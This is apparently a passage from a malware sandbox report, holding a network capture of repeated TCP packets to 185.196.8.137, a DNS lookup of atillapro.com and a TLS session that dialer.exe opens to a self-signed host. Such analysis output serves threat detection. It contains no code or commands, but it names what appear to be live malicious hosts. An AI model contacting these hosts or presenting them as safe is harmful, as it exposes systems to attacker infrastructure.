Apr 10, 2024 10:24:12.374572039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374572039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374572039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374572039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374572039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374631882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374631882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374631882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374696016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374696016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374696016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374762058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374762058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374762058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374845028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374845028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374845028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374845028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374845028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374845028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374946117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374946117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374946117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374946117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374946117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.374946117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375003099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375003099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375003099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375071049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375072002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375072002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375147104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375147104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375147104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375226021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375226021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375226021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375226021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375226021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375226021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375329018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375329018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375329018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375329018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375329018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375329018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375396013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375396013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375396013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375462055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375462055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375462055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375526905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375526905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375526905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375591993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375591993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375591993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375659943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375659943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375659943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375694990 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.375710964 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.375732899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375732899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375732899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375732899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375732899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375732899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375777960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.375925064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375925064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375925064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375925064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375925064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375925064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.375953913 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.376036882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376036882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376036882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376036882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376036882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376036882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376113892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.376148939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.376168013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376168013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376198053 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.376282930 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.376296997 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.376502037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.376538992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376538992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376538992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376538992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376538992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376610041 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.376641035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376641035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376641035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376641035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376743078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376789093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376789093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376789093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376916885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376916885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376916885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376916885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376916885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.376916885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377024889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377024889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377024889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377106905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377106905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377106905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377106905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377106905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377106905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377204895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377204895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377204895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377289057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377289057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377289057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377289057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377289057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377289057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377387047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377387047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377387047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377455950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377455950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377455950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377521992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377521992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377521992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377594948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377594948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377594948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377669096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377670050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377670050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377670050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377670050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377670050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377791882 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.377803087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377803087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377804041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377804041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377804041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377804041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377809048 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.377824068 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.377855062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377855062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377947092 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.377962112 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.377974987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.377981901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377981901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377981901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377981901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.377981901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378037930 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378084898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378084898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378089905 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378145933 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378173113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378173113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378173113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378173113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378195047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378228903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378228903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378228903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378232002 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378248930 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378326893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378326893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378326893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378326893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378390074 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378391027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378391027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378391027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378406048 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378422976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378592968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378592968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378592968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378592968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378592968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378592968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378608942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378626108 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378720999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378720999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378720999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378720999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378720999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378748894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378813028 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378833055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378833055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378833055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378882885 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378926039 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378948927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378948927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378948927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.378977060 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.378993034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379013062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379013062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379013062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379054070 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379091978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379091978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379091978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379120111 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379189968 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379210949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379210949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379210949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379228115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379242897 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379261017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379261017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379261017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379261017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379334927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379334927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379334927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379403114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379403114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379403114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379507065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379507065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379507065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379507065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379507065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379507065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379559040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379628897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379628897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379628897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379628897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379628897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379628897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379698038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379698038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379698038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379760981 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379786968 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379793882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379793882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379793882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379793882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379803896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379869938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379869938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379895926 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.379930973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379930973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379930973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379930973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.379933119 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.380029917 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.380044937 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.380063057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380063057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380063057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380063057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380141020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380141020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380141020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380208969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380208969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380208969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380232096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380232096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380249977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.380264997 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.380286932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380286932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380352020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380352020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380352020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380378008 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.380453110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380453110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380489111 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.380531073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380531073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380531073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380531073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.380531073 CEST	49718	80	192.168.2.5	185.196.8.137

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 10, 2024 10:24:06.341806889 CEST	192.168.2.5	1.1.1.1	0x7baa	Standard query (0)	atillapro.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 10, 2024 10:23:13.103646994 CEST	1.1.1.1	192.168.2.5	0x4ebe	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 10, 2024 10:23:13.103646994 CEST	1.1.1.1	192.168.2.5	0x4ebe	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 10, 2024 10:24:06.442905903 CEST	1.1.1.1	192.168.2.5	0x7baa	No error (0)	atillapro.com	185.196.8.137	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	216.250.255.115	80	3664	C:\Windows\SysWOW64\dialer.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:23:08.456140995 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 16 4c 6b 71 4f 56 09 88 73 ea 8d 81 41 9b 6f 3d 20 01 76 be 20 bd 50 44 8d b9 cd b5 c4 b2 4b 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: fLkqOVsAo= v PDKP,0$(k9+/#'g3=52*.&</1)-%H#
Apr 10, 2024 10:23:08.621759892 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 f5 93 06 3d 0c f8 e4 54 dc aa da 5c a5 a7 18 aa 1c a0 1e 26 2f 69 31 20 5f ce 5d 75 8d 12 83 6c 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73=T\&/i1 _]ul00A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
